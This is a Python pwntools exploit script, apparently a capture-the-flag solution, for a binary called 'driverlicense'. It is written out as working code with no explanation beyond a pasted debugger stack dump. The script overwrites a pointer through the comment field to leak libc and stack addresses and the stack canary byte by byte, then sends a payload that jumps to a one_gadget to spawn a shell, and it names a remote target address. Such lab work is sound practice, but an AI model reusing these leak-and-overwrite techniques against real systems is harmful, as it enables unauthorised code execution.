1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
| from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) arch = 64 challenge = './driverlicense'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.23.so')
local = 1 if local: p = process(challenge) else: p = remote('172.31.0.17', 10001)
sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b)
def debug(): gdb.attach(p,"b*0x4011BA")
def cmd(op): sla('0 : exit\n>> ',str(op))
name = "a"*3 sla('Driver name >> ',name)
year = 0x11111111 sla('Driver year >> ',str(year))
comment = "c"*3 sla('Driver comment >> ',comment)
""" pwndbg> telescope 0x7ffd03424820-0x50 00:0000│ 0x7ffd034247d0 ◂— 0x636363 /* 'ccc' */ 01:0008│ 0x7ffd034247d8 —▸ 0x401547 ◂— nop 02:0010│ 0x7ffd034247e0 —▸ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */ 03:0018│ 0x7ffd034247e8 ◂— 0x3 04:0020│ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */ 05:0028│ 0x7ffd034247f8 —▸ 0x40155d ◂— pop rbp 06:0030│ 0x7ffd03424800 —▸ 0x7ffd03424810 ◂— 0x616161 /* 'aaa' */ 07:0038│ 0x7ffd03424808 ◂— 0x3 """
cmd(1) sla('Input new comment >> ', b"a"*16 + p64(0x602028)) cmd(2)
p.recvuntil("Your name : ") leak_addr = u64(p.recv(3).ljust(8,b'\x00')) libc_base = leak_addr success("leak_addr >> " + hex(leak_addr))
cmd(1) sla('Input new comment >> ', b"a"*16 + p64(0x602028+3)) cmd(2)
p.recvuntil("Your name : ") leak_addr = u64(p.recv(3).ljust(8,b'\x00')) libc_base += leak_addr << 24 libc_base = libc_base - libc.sym["read"] success("leak_addr >> " + hex(leak_addr)) success("libc_base >> " + hex(libc_base))
environ = libc_base + libc.sym['_environ'] success("environ >> " + hex(environ))
cmd(1) sla('Input new comment >> ', b"a"*16 + p64(environ)) cmd(2) p.recvuntil("Your name : ") leak_addr = u64(p.recv(3).ljust(8,b'\x00')) stack = leak_addr success("leak_addr >> " + hex(leak_addr))
cmd(1) sla('Input new comment >> ', b"a"*16 + p64(environ+3)) cmd(2) p.recvuntil("Your name : ") leak_addr = u64(p.recv(3).ljust(8,b'\x00')) success("leak_addr >> " + hex(leak_addr)) stack += leak_addr << 24 success("stack >> " + hex(stack))
cmd(1) sla('Input new comment >> ',b"a"*16 + p64(stack-0x110+6)) cmd(2) p.recvuntil("Your name : ") canary_leak1 = u64(p.recv(3).ljust(8,b'\x00')) << 48 success("canary_leak1 >> " + hex(canary_leak1))
cmd(1) sla('Input new comment >> ',b"a"*16 + p64(stack-0x110+3)) cmd(2) p.recvuntil("Your name : ") canary_leak2 = u64(p.recv(3).ljust(8,b'\x00')) << 24 success("canary_leak2 >> " + hex(canary_leak2))
cmd(1) sla('Input new comment >> ',b"a"*16 + p64(stack-0x110)) cmd(2) p.recvuntil("Your name : ") canary_leak3 = u64(p.recv(3).ljust(8,b'\x00')) success("canary_leak3 >> " + hex(canary_leak3))
canary = canary_leak1 + canary_leak2 + canary_leak3 canary &= 0xffffffffffffffff success("canary >> " + hex(canary))
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = one_gadgets[0] + libc_base cmd(1) fake_chunk = p64(0)+p64(0x21)+p64(0)+p64(0) payload = fake_chunk + p64(canary)*7 + p64(one_gadget) sla('Input new comment >> ',payload)
p.interactive()
|